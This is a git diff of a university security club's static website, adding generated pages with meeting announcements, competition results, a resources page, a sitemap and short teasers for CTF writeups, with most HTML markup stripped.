Apphttps://osusec.org/blog/meeting-10-4/Thu, 04 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-4/Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing +Announcements from today’s meeting: +If you are interested in working in the Information Security Office here at OSU, make sure to apply here: https://jobs.oregonstate.edu/postings/67398. If you have any questions, please contact Emily Longman. No meeting next week (10/11) Applications for Cyberforce Competition will close on October 10th, please fill that out if you are interested: https://goo.Codestin Search Apphttps://osusec.org/blog/meeting-9-27/Thu, 27 Sep 2018 00:00:00 -0700https://osusec.org/blog/meeting-9-27/Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic! +Here is a link to the slides for tonight’s meeting: https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing (NOTE: you need to sign in with your OSU account to view them) +Please make sure you register with the club via SLI (Link: https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b). +This weekend we (officers) will be revamping the resources page to provide some guidance for those who are brand new to security and those who have been 1337 pwners for years alike.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition/Wed, 26 Sep 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition/The Cyberforce Competition (formerly known as the Department of Energy Cyber Defense Competition) is coming up in a couple months, and it’s time to start getting ready! +If you are interested in being on the team for this competition, please fill out the form here by October 10th. +Requirements for applying: +You will be able to spend time during October and November preparing for the competition by completing a variety of tasks You are able to travel to Washington or California to compete in the competition on November 30th and December 1st We will probably be leaving the night of the 29th Even if you think you might not be qualified enough, I’d still wholly encourage you to apply.Codestin Search Apphttps://osusec.org/blog/csaw-prep/Wed, 01 Aug 2018 00:00:00 -0700https://osusec.org/blog/csaw-prep/It’s time to start getting ready for CSAW CTF!!! If we qualify for the finals, we will send 4 people to New York to compete. The way we will be selecting the four people is as follows: +Register on CSAW 365 (https://365.csaw.io/) Join our class so that I can keep track of your score (Please check Discord or your email for the class code) Work on solving challenges through the end of August.Codestin Search Apphttps://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Sun, 08 Apr 2018 00:00:00 -0700https://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying multiple Windows and Linux systems and securing them against live attacks for 8 hours. +The members of the team were: +Zander Work Zach Rogers Cody Holliday Hadi Rahal-Arabi Khuong Luu Aidan Grimshaw Great job guys!Codestin Search Apphttps://osusec.org/about/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/about/About The OSU Security Club was founded in 2014 by Daniel Reichert, and was guided by Dr. Yeongjin Jang until 2023. Currently, the club is advised by Dr. Zane Ma. We focus on gaining hands-on experience with exploiting vulnerabilities in systems and networks, defending against these attacks, and getting involved in the security community. There’s no experience or knowledge required, only an interest in learning more about this incredibly important and expanding field!Codestin Search Apphttps://osusec.org/accomplishments/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/accomplishments/CTF Competitions CTFtime Profile +10/26/24: 1st - BSides PDX CTF 12/09/22: 2nd – NSA Codebreaker 10/07/22: 1st – BSides PDX CTF 08/15/22: 16th – DefCon Finals!!! (CTFtime) 05/29/22: 15th – Defcon Qualifiers 04/30/22: 5th – NahamCon CTF 01/04/22: 3rd – NSA Codebreaker (133,337 points) 11/21/21: 5th – N1CTF 10/31/21: 7th – hack.lu CTF 05/02/21: 27th – DefCon Qualifiers 01/31/21: 3rd – NSA Codebreaker 10/23/20: 1st – BSides PDX CTF 05/18/20: 22nd – DefCon Qualifiers (as beaverpwn, in collaboration with RedPwn) 03/22/20: 5th – FireShell CTF 03/15/20: 2nd – b01lers CTF 03/08/20: 5th, 1st university – UTCTF 01/10/20: 3rd – NSA Codebreaker 10/26/19: 1st – BSides PDX CTF 03/10/19: 7th – UTCTF 02/23/19: 3th – MITRE STEM CTF 01/06/19: 1st – NSA Codebreaker CyberDefense Competitions 11/04/23: 15th, 1st regionally - DoE Cyberforce 03/24/23: 1st – PRCCDC 11/05/22: 10th, 1st regionally – DoE Cyberforce 04/23/22: 5th – NCCDC 04/01/22: 1st – PRCCDC 11/13/21: 7th, 1st regionally – DoE Cyberforce 04/11/20: 2nd – PRCCDC 11/16/19: 6th, 1st regionally – DoE Cyberforce 03/24/19: 3rd – PRCCDC 12/01/18: 3rd, 1st regionally – DoE Cyberforce 04/07/18: 4th, 1st regionally – DoE CyberforceCodestin Search Apphttps://osusec.org/calendar/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/calendar/Codestin Search Apphttps://osusec.org/club-constitution/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/club-constitution/Codestin Search Apphttps://osusec.org/ctf-league/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/ctf-league/Overview The OSUSEC CTF League is a great way for anyone interested in cybersecurity to develop their offensive security skills and get into playing CTF with the OSUSEC team! +CTF League is a year-long competition that runs similar to a standard capture the flag event, with new challenges released every week. Each week, players compete to solve timed challenges intended to teach web, application, and cryptographic security tactics and prepare players for CTF competitions that OSU competes in as a club.Codestin Search Apphttps://osusec.org/resources/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/resources/Resources List Getting Started +Make sure to sign up for the club on SLI (that’s how we report numbers), and join us on Discord (that’s where all the fun happens). If you play CTF, please join our CTFTime Team! +Main Website: https://www.osusec.org/ Club Constitution: https://www.osusec.org/club-constitution/ Discord: https://discord.gg/2hNARuy CTFTime: https://ctftime.org/team/12858 SLI Signup: https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b Discord Bot Walkthrough: See Below Introductory CTF Material +Interested in getting into Capture The Flag? Check these out! Also join the @CTF role on Discord to participate in CTF with us!Codestin Search Apphttps://osusec.org/wicys/Mon, 01 Jan 0001 00:00:00 +0000https://osusec.org/wicys/About WiCyS @ OSU TBA +Their website is in progress! +Current leadership: President: Abigail Whittle Vice President: Grace Parrish Treasurer: Alexa Baruela Relations Officer: Mayra Solorio Event Coordinator: Jordan White Secretary: Jacquelyn Sansone Web Master: Jamie Dang \ No newline at end of file diff --git a/layouts/.gitkeep b/layouts/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html deleted file mode 100644 index 63ff2ad..0000000 --- a/layouts/_default/baseof.html +++ /dev/null @@ -1,11 +0,0 @@ - - - {{ partial "head.html" . }} - - {{ partial "header.html" . }} -
- {{ block "main" . }}{{ end }} -
- {{ partial "footer.html" . }} - - \ No newline at end of file diff --git a/layouts/_default/calendar.html b/layouts/_default/calendar.html deleted file mode 100644 index 339a397..0000000 --- a/layouts/_default/calendar.html +++ /dev/null @@ -1,14 +0,0 @@ -{{ define "main" }} - -
-

{{ .Title }}

-
- - -
- {{ .Content }} - - -
- -{{ end }} diff --git a/layouts/_default/constitution.html b/layouts/_default/constitution.html deleted file mode 100644 index 92c0f8e..0000000 --- a/layouts/_default/constitution.html +++ /dev/null @@ -1,14 +0,0 @@ -{{ define "main" }} - -
-

{{ .Title }}

-
- - -
- {{ .Content }} - - -
- -{{ end }} diff --git a/layouts/_default/infopage.html b/layouts/_default/infopage.html deleted file mode 100644 index 162d3ce..0000000 --- a/layouts/_default/infopage.html +++ /dev/null @@ -1,12 +0,0 @@ -{{ define "main" }} - -
-

{{ .Title }}

-
- - -
- {{ .Content }} -
- -{{ end }} diff --git a/layouts/_default/list.html b/layouts/_default/list.html deleted file mode 100644 index 3d8ede2..0000000 --- a/layouts/_default/list.html +++ /dev/null @@ -1,15 +0,0 @@ -{{ define "main" }} - -
-

{{ .Title }}

-
- -
-
- {{ range .Pages.ByPublishDate.Reverse }} - {{ partial "blogcard.html" . }} - {{ end }} -
-
- -{{ end }} diff --git a/layouts/_default/single.html b/layouts/_default/single.html deleted file mode 100644 index 710e9d4..0000000 --- a/layouts/_default/single.html +++ /dev/null @@ -1,24 +0,0 @@ -{{ define "main" }} - -
-

{{ .Title }}

-
- -
-
-

{{ .Title }}

- {{ $dateTime := .PublishDate.Format "2006-01-02" }} - {{ $dateFormat := .Site.Params.dateFormat | default "Jan 2, 2006" }} -
-

{{ .Params.Author }}

-

Tags

-

-
- {{ .Params.Caption }} -
- {{ .Content }} -
-
-
- -{{ end }} diff --git a/layouts/index.html b/layouts/index.html deleted file mode 100644 index f93e5ff..0000000 --- a/layouts/index.html +++ /dev/null @@ -1,24 +0,0 @@ -{{ define "main" }} - -
-

{{ .Site.Params.FullTitle }}

-

{{ .Site.Params.subTitle | markdownify }}

-
- - -
-
- -
-
- {{ range .Site.Sections }} - {{ if eq .Type "home" }} - {{ range .Sections.ByWeight }} - {{ partial "home/blurb.html" . }} - {{ end }} - {{ end }} - {{ end }} -
-
- -{{ end }} diff --git a/layouts/partials/blogcard.html b/layouts/partials/blogcard.html deleted file mode 100644 index 7a6f0e5..0000000 --- a/layouts/partials/blogcard.html +++ /dev/null @@ -1,12 +0,0 @@ -
- {{ .Params.Caption }} -
-

{{ .Title }}

- {{ $dateTime := .PublishDate.Format "2006-01-02" }} - {{ $dateFormat := .Site.Params.dateFormat | default "Jan 2, 2006" }} - - -

{{ .Content | truncate 200 }}

-

Read More

-
-
\ No newline at end of file diff --git a/layouts/partials/footer.html b/layouts/partials/footer.html deleted file mode 100644 index f2afe23..0000000 --- a/layouts/partials/footer.html +++ /dev/null @@ -1,6 +0,0 @@ - \ No newline at end of file diff --git a/layouts/partials/head.html b/layouts/partials/head.html deleted file mode 100644 index b8fff7a..0000000 --- a/layouts/partials/head.html +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - Codestin Search App - \ No newline at end of file diff --git a/layouts/partials/header.html b/layouts/partials/header.html deleted file mode 100644 index ae9d4d9..0000000 --- a/layouts/partials/header.html +++ /dev/null @@ -1,41 +0,0 @@ - - diff --git a/layouts/partials/home/blurb.html b/layouts/partials/home/blurb.html deleted file mode 100644 index 1dbccb6..0000000 --- a/layouts/partials/home/blurb.html +++ /dev/null @@ -1,7 +0,0 @@ -{{ range where .Data.Pages "Section" .Section }} -
- -
{{ .Title }}
-

{{ .Content }}

-
-{{ end }} \ No newline at end of file diff --git a/static/osusec-banner.png b/osusec-banner.png similarity index 100% rename from static/osusec-banner.png rename to osusec-banner.png diff --git a/static/resources.jpg b/resources.jpg similarity index 100% rename from static/resources.jpg rename to resources.jpg diff --git a/resources/index.html b/resources/index.html new file mode 100644 index 0000000..6a5ddd3 --- /dev/null +++ b/resources/index.html @@ -0,0 +1,8 @@ + +Codestin Search App

Resources

Resources List

Getting Started

Make sure to sign up for the club on SLI (that’s how we report numbers), and join us on Discord (that’s where all the fun happens). If you play CTF, please join our CTFTime Team!

Introductory CTF Material

Interested in getting into Capture The Flag? Check these out! +Also join the @CTF role on Discord to participate in CTF with us!

Tooling

Not all tools will be needed to do most challenges.

CTF / pwn & Reversing Materials

References and cool sites related to CTF.

CTF Heap, GOT, LibC, Malloc Materials

Advanced pwn Challenge Materials.

Open Source INTelligence (OSINT) Materials

Reference material and learning resources about OSINT practices

Malware / Forensics / Threat Intel

Materials relating to …. well… malware reversing, forensics, threat intelligence and such things.

CDC Materials

Materials for learning Cyber Defense Competition skills. +Join us and learn about CDC in the #cdc channel by adding the CDC role in Discord!

Cryptography Materials

Resources pertaining to Cryptography

Web Resources

Web Security Resources

Misc

OSUSEC Discord Bot

1. Verify

Once joined, you will see a new DM from our Bot, creatively named OSUSEC Bot. It will ask for your ONID email, and then send you a confirmation token to that email to verify you are an OSU student.

Once you get the token, reply to the bot, and you will be granted Member permissions on the OSUSEC Discord server.

You should see that you have been granted the Member role when you click on your name in the OSUSEC Discord server.

2. Add Roles

Now that you’re in, select the #botspam channel. This is where you will configure your roles.

You may always type !help to get a list of all commands.

To see all roles, run !roles. To add (for example) the ctf role, run !role add ctf – if you are verified, you’ll be able to join in any CTF we play!

Optional: Gitlab

Now, if you have a gitlab.com account, you can run !gitlab <username> to add yourself to our gitlab group.

Optional Channels

If you are feeling like reviewing some malware, we have a channel named #malware where you may read, discuss and share real world exploit PoCs, malware samples and other such materials.

Of course this comes with an agreement that you will be on good behavior (you agree to abide by the OSUSEC code of ethics and channel rules).

To join, run !malware, and agree to be good by pressing the checkbox.

Also available is a #political-discussion channel, where anyone may engage in protracted discussion touching on politics. This as well comes with an agreement to the OSUSEC code of ethics and channel rules.

\ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..f4abef9 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1 @@ +https://osusec.org/home/blurb/https://osusec.org/home/blurb/ctf-meetings/https://osusec.org/home/blurb/guest-speakers/https://osusec.org/home/blurb/competitions/https://osusec.org/blog/2024-04-02T08:41:08-07:00https://osusec.org/categories/2024-04-02T08:41:08-07:00https://osusec.org/categories/club-news/2024-04-02T08:41:08-07:00https://osusec.org/2024-04-02T08:41:08-07:00https://osusec.org/blog/prccdc-2024/2024-04-02T08:41:08-07:00https://osusec.org/blog/electronic_frontier_alliance/2024-03-03T19:05:41-08:00https://osusec.org/blog/jonathans-workflow/2024-01-24T22:25:26-07:00https://osusec.org/categories/writeups/2024-01-24T22:25:26-07:00https://osusec.org/blog/meeting-11-08-23/2023-11-09T10:10:33-08:00https://osusec.org/categories/meeting-notes/2023-11-09T10:10:33-08:00https://osusec.org/blog/cyberforce-2023/2023-11-07T10:10:16-08:00https://osusec.org/blog/meeting-11-01-23/2023-11-02T10:10:30-08:00https://osusec.org/blog/wwt-red-team/2023-10-31T10:10:45-08:00https://osusec.org/blog/armis-workshop/2023-10-29T09:54:35-07:00https://osusec.org/blog/meeting-10-25-23/2023-10-26T20:11:05-07:00https://osusec.org/blog/meeting-10-18-23/2023-10-19T12:04:17-07:00https://osusec.org/blog/meeting-10-11-23/2023-10-12T13:41:15-07:00https://osusec.org/blog/meeting-10-04-23/2023-10-05T14:44:22-07:00https://osusec.org/blog/wwt-blue-team/2023-10-02T17:24:37-07:00https://osusec.org/blog/nccdc-2023/2023-05-11T00:00:00-07:00https://osusec.org/blog/2023-2024-osusec-officers-selected/2023-04-24T00:00:00-07:00https://osusec.org/tags/elections/2023-04-24T00:00:00-07:00https://osusec.org/tags/2023-04-24T00:00:00-07:00https://osusec.org/blog/prccdc-2023/2023-03-31T00:00:00-07:00https://osusec.org/blog/meeting-notes-11-09/2022-11-09T00:00:00-07:00https://osusec.org/blog/cyberforce-competition-2022/2022-11-08T00:00:00-07:00https://osusec.org/blog/meeting-notes-11-02/2022-11-02T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-19/2022-10-19T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-12/2022-10-12T00:00:00-07:00https://osusec.org/blog/bsidespdx-2022/2022-10-08T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-05/2022-10-05T00:00:00-07:00https://osusec.org/blog/meeting-notes-9-28/2022-09-28T00:00:00-07:00https://osusec.org/blog/2022-2023-osusec-officers-decided/2022-04-13T00:00:00-07:00https://osusec.org/blog/meeting-notes-2-23/2022-03-02T00:00:00-07:00https://osusec.org/blog/meeting-notes-2-9/2022-03-02T00:00:00-07:00https://osusec.org/blog/meeting-notes-3-2/2022-03-02T00:00:00-07:00https://osusec.org/blog/meeting-notes-2-2/2022-02-02T00:00:00-07:00https://osusec.org/blog/meeting-notes-1-26/2022-01-26T00:00:00-07:00https://osusec.org/blog/meeting-notes-1-19/2022-01-19T00:00:00-07:00https://osusec.org/blog/meeting-notes-1-12/2022-01-12T00:00:00-07:00https://osusec.org/blog/nsa-codebreaker-challenge-2021/2022-01-05T00:00:00-07:00https://osusec.org/tags/nsacc21/2022-01-05T00:00:00-07:00https://osusec.org/tags/cyberforce/2021-11-21T00:00:00-07:00https://osusec.org/blog/doe-cyberforce-competition-2021/2021-11-21T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-27/2021-10-27T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-6/2021-10-06T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-1/2021-10-01T00:00:00-07:00https://osusec.org/tags/2021-2022-elections/2021-04-24T00:00:00-07:00https://osusec.org/blog/2021-2022-osusec-officers-decided/2021-04-24T00:00:00-07:00https://osusec.org/tags/0x41414141-ctf/2021-02-02T00:00:00-07:00https://osusec.org/blog/0x41414141-ctf-0x414141/2021-02-02T00:00:00-07:00https://osusec.org/tags/crowdstrike-adversary-quest/2021-02-02T00:00:00-07:00https://osusec.org/blog/crowdstrike-adversary-quest-much-sad/2021-02-02T00:00:00-07:00https://osusec.org/blog/bsidespdx-down-the-rabbit-hole/2020-10-25T00:00:00-07:00https://osusec.org/blog/bsidespdx-please-stand-by/2020-10-25T00:00:00-07:00https://osusec.org/blog/bsidespdx-xclusive-numborz/2020-10-25T00:00:00-07:00https://osusec.org/tags/bsidespdx2020/2020-10-25T00:00:00-07:00https://osusec.org/tags/ekoparty2020/2020-09-28T00:00:00-07:00https://osusec.org/blog/ekopartyctf-docs/2020-09-28T00:00:00-07:00https://osusec.org/blog/ekopartyctf-env/2020-09-28T00:00:00-07:00https://osusec.org/blog/ekopartyctf-leak/2020-09-28T00:00:00-07:00https://osusec.org/blog/fword-ctf-identity-fraud/2020-08-31T00:00:00-07:00https://osusec.org/tags/fwordctf2020/2020-08-31T00:00:00-07:00https://osusec.org/tags/nahamconctf/2020-06-14T00:00:00-07:00https://osusec.org/blog/nahamconctf-finsta/2020-06-14T00:00:00-07:00https://osusec.org/blog/nahamconctf-microosoft/2020-06-14T00:00:00-07:00https://osusec.org/blog/nahamconctf-time-keeper/2020-06-14T00:00:00-07:00https://osusec.org/blog/nahamconctf-tron/2020-06-14T00:00:00-07:00https://osusec.org/blog/thank-you/2020-06-05T00:00:00-07:00https://osusec.org/tags/houseplantctf/2020-04-26T00:00:00-07:00https://osusec.org/blog/houseplantctf-catography-writeup/2020-04-26T00:00:00-07:00https://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/2020-04-26T00:00:00-07:00https://osusec.org/tags/ijctf/2020-04-26T00:00:00-07:00https://osusec.org/blog/ijctf-vault-writeup/2020-04-26T00:00:00-07:00https://osusec.org/blog/prccdc-2020-results/2020-04-14T00:00:00-07:00https://osusec.org/tags/bytebandits/2020-04-12T00:00:00-07:00https://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/2020-04-12T00:00:00-07:00https://osusec.org/tags/auctf/2020-04-05T00:00:00-07:00https://osusec.org/blog/auctf-aliedas-about-some-thing/2020-04-05T00:00:00-07:00https://osusec.org/blog/auctf-good-old-days/2020-04-05T00:00:00-07:00https://osusec.org/blog/auctf-osint-you-all-over-the-place/2020-04-05T00:00:00-07:00https://osusec.org/blog/auctf-who-made-me/2020-04-05T00:00:00-07:00https://osusec.org/tags/midnightctf/2020-04-05T00:00:00-07:00https://osusec.org/blog/midnightsunctf-snake/2020-04-05T00:00:00-07:00https://osusec.org/blog/nahamconctf-fake-file/2020-04-01T00:00:00-07:00https://osusec.org/tags/fireshellctf/2020-03-29T00:00:00-07:00https://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/2020-03-29T00:00:00-07:00https://osusec.org/tags/tamuctf/2020-03-29T00:00:00-07:00https://osusec.org/blog/tamuctf-alcapone/2020-03-29T00:00:00-07:00https://osusec.org/blog/tamuctf-geography/2020-03-29T00:00:00-07:00https://osusec.org/blog/tamuctf-russian_nesting_dolls/2020-03-29T00:00:00-07:00https://osusec.org/blog/tamuctf-woof_woof/2020-03-29T00:00:00-07:00https://osusec.org/blog/tamuctf-rsapwn/2020-03-29T00:00:00-07:00https://osusec.org/tags/volgactf/2020-03-29T00:00:00-07:00https://osusec.org/blog/volgactf-excellent-crackme/2020-03-29T00:00:00-07:00https://osusec.org/blog/officer-elections-on-3-12/2020-03-03T00:00:00-07:00https://osusec.org/categories/uncategorized/2020-02-22T00:00:00-07:00https://osusec.org/blog/welcome-to-damctf/2020-02-22T00:00:00-07:00https://osusec.org/blog/meeting-notes-10-3/2019-10-03T00:00:00-07:00https://osusec.org/blog/meeting-notes-9-26/2019-09-27T00:00:00-07:00https://osusec.org/blog/nsa-visit/2019-09-26T00:00:00-07:00https://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/2019-05-12T00:00:00-07:00https://osusec.org/blog/meeting-notes-5-9/2019-05-09T00:00:00-07:00https://osusec.org/blog/2019-2020-officers/2019-04-26T00:00:00-07:00https://osusec.org/tags/angstromctf/2019-04-26T00:00:00-07:00https://osusec.org/blog/angstromctf-streams/2019-04-26T00:00:00-07:00https://osusec.org/blog/angstromctf-lithp/2019-04-26T00:00:00-07:00https://osusec.org/blog/meeting-notes-4-18/2019-04-18T00:00:00-07:00https://osusec.org/blog/2019-2020-officer-elections-on-april-25th/2019-04-16T00:00:00-07:00https://osusec.org/blog/prccdc-2019-results/2019-03-24T00:00:00-07:00https://osusec.org/blog/utctf-2019-crackme/2019-03-11T00:00:00-07:00https://osusec.org/blog/utctf-2019-scrambled/2019-03-11T00:00:00-07:00https://osusec.org/blog/utctf-2019-rogue-leader/2019-03-10T00:00:00-07:00https://osusec.org/blog/meeting-notes-3-7/2019-03-07T00:00:00-07:00https://osusec.org/blog/meeting-2-28-osusec-lab/2019-02-28T00:00:00-07:00https://osusec.org/blog/meeting-2-21/2019-02-21T00:00:00-07:00https://osusec.org/blog/meeting-2-14/2019-02-14T00:00:00-07:00https://osusec.org/blog/meeting-2-7/2019-02-07T00:00:00-07:00https://osusec.org/blog/meeting-1-31/2019-01-31T00:00:00-07:00https://osusec.org/blog/meeting-1-24/2019-01-24T00:00:00-07:00https://osusec.org/blog/meeting-1-17/2019-01-17T00:00:00-07:00https://osusec.org/tags/codebreaker/2019-01-16T00:00:00-07:00https://osusec.org/blog/nsa-codebreaker-2018-task-6/2019-01-16T00:00:00-07:00https://osusec.org/blog/nsa-codebreaker-2018-task-7/2019-01-16T00:00:00-07:00https://osusec.org/blog/meeting-1-10/2019-01-10T00:00:00-07:00https://osusec.org/blog/welcome-to-winter-2019/2019-01-08T00:00:00-07:00https://osusec.org/blog/nsa-codebreaker-challenge-2018-results/2019-01-06T00:00:00-07:00https://osusec.org/blog/cyberforce-competition-2018-results/2018-12-04T00:00:00-07:00https://osusec.org/blog/meeting-11-15/2018-11-16T00:00:00-07:00https://osusec.org/blog/meeting-11-01/2018-11-01T00:00:00-07:00https://osusec.org/blog/meeting-10-25/2018-10-25T00:00:00-07:00https://osusec.org/blog/hitcon-ctf-2018-ev3-basic/2018-10-22T00:00:00-07:00https://osusec.org/tags/hitconctf2018/2018-10-22T00:00:00-07:00https://osusec.org/blog/meeting-10-11/2018-10-18T00:00:00-07:00https://osusec.org/blog/meeting-10-4/2018-10-04T00:00:00-07:00https://osusec.org/blog/meeting-9-27/2018-09-27T00:00:00-07:00https://osusec.org/tags/cdc/2018-09-26T00:00:00-07:00https://osusec.org/blog/cyberforce-competition/2018-09-26T00:00:00-07:00https://osusec.org/tags/csaw/2018-08-01T00:00:00-07:00https://osusec.org/blog/csaw-prep/2018-08-01T00:00:00-07:00https://osusec.org/tags/ctf/2018-08-01T00:00:00-07:00https://osusec.org/blog/osusec-wins-department-of-energy-cyber-defense-competition/2018-04-08T00:00:00-07:00https://osusec.org/about/https://osusec.org/accomplishments/https://osusec.org/calendar/https://osusec.org/club-constitution/https://osusec.org/ctf-league/https://osusec.org/home/https://osusec.org/resources/https://osusec.org/wicys/ \ No newline at end of file diff --git a/static/ctf-league_logo.png b/static/ctf-league_logo.png deleted file mode 100644 index ad4bc38..0000000 Binary files a/static/ctf-league_logo.png and /dev/null differ diff --git a/tags/0x41414141-ctf/index.html b/tags/0x41414141-ctf/index.html new file mode 100644 index 0000000..748ce93 --- /dev/null +++ b/tags/0x41414141-ctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

0x41414141 ctf

0x41414141 CTF logo

0x41414141 CTF - 0x414141

Prompt

I think offshift promised to opensource some of their code

author: notforsale

Solution

First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, …

Read More

\ No newline at end of file diff --git a/tags/0x41414141-ctf/index.xml b/tags/0x41414141-ctf/index.xml new file mode 100644 index 0000000..105e903 --- /dev/null +++ b/tags/0x41414141-ctf/index.xml @@ -0,0 +1,3 @@ +Codestin Search Apphttps://osusec.org/tags/0x41414141-ctf/Recent content in 0x41414141 ctf on OSU Security ClubHugo -- gohugo.ioen-usTue, 02 Feb 2021 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/0x41414141-ctf-0x414141/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/0x41414141-ctf-0x414141/Prompt I think offshift promised to opensource some of their code +author: notforsale +Solution First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a single suspicious repository. This has two commits, one where files are uploaded, and one in which the _pycache_ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added: \ No newline at end of file diff --git a/tags/2021-2022-elections/index.html b/tags/2021-2022-elections/index.html new file mode 100644 index 0000000..37a900c --- /dev/null +++ b/tags/2021-2022-elections/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

2021-2022 elections

2021-2022 OSUSEC Officers Decided

For the coming school year, we welcome in 8 officers, in the following positions:

  • President: Lyell Read
  • Vice President: Zach Taylor
  • Treasurer: Mike Carris
  • Lab Manager: Cameron McCawley
  • Community …

Read More

\ No newline at end of file diff --git a/tags/2021-2022-elections/index.xml b/tags/2021-2022-elections/index.xml new file mode 100644 index 0000000..e361a71 --- /dev/null +++ b/tags/2021-2022-elections/index.xml @@ -0,0 +1,2 @@ +Codestin Search Apphttps://osusec.org/tags/2021-2022-elections/Recent content in 2021-2022 elections on OSU Security ClubHugo -- gohugo.ioen-usSat, 24 Apr 2021 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/2021-2022-osusec-officers-decided/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/blog/2021-2022-osusec-officers-decided/For the coming school year, we welcome in 8 officers, in the following positions: +President: Lyell Read Vice President: Zach Taylor Treasurer: Mike Carris Lab Manager: Cameron McCawley Community Manager: Christa Wright Recruitment: Brandon Ellis CTF League Coordinator: Allen Benjamin Graphic Designer: Sierra Freihoefer This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles. \ No newline at end of file diff --git a/tags/angstromctf/index.html b/tags/angstromctf/index.html new file mode 100644 index 0000000..cf08b56 --- /dev/null +++ b/tags/angstromctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

angstromctf

ångstromCTF lithp

Problem

My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me?

Author: fireholder

Points: 60

Solution

First things first, let’s open that lisp …

Read More

ångstromCTF - streams

Problem

White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here.

Note: The flag is all lowercase and follows the …

Read More

\ No newline at end of file diff --git a/tags/angstromctf/index.xml b/tags/angstromctf/index.xml new file mode 100644 index 0000000..40cf963 --- /dev/null +++ b/tags/angstromctf/index.xml @@ -0,0 +1,11 @@ +Codestin Search Apphttps://osusec.org/tags/angstromctf/Recent content in angstromctf on OSU Security ClubHugo -- gohugo.ioen-usFri, 26 Apr 2019 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/angstromctf-streams/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-streams/Problem White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here. +Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag}) +Author: ctfhaxor +Points: 70 +Hint: Are you sure that’s an mp4 file? What’s inside the file? +Solution First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio.Codestin Search Apphttps://osusec.org/blog/angstromctf-lithp/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-lithp/Problem My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me? +Author: fireholder +Points: 60 +Solution First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into? +The first lines were most important in solving this challenge the way I did it. It reads: +(defparameter *encrypted* &#39;(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) (defparameter *flag* &#39;(redacted)) (defparameter *reorder* &#39;(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) Well, then. \ No newline at end of file diff --git a/tags/auctf/index.html b/tags/auctf/index.html new file mode 100644 index 0000000..b6f221e --- /dev/null +++ b/tags/auctf/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

auctf

AUCTF logo

AUCTF - Who Made Me

950 points

Prompt

One of the developers of this CTF worked really hard on this challenge.

note: the answer is not the author’s name

Author: c

Solution:

Now for a much more real-world OSINT …

Read More

AUCTF logo

AUCTF - OSINT You All Over the Place

A post-competition writeup; 983 points

Prompt

I do not have access to the prompt, but the URL is devs-r-us.xyz

Solution

After solving the first three challenges, I looked into this one. I investigated …

Read More

AUCTF logo

AUCTF - Good Old Days

877 points

Prompt

This site used to look a lot cooler.

Author: c

Solution

Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: …

Read More

AUCTF logo

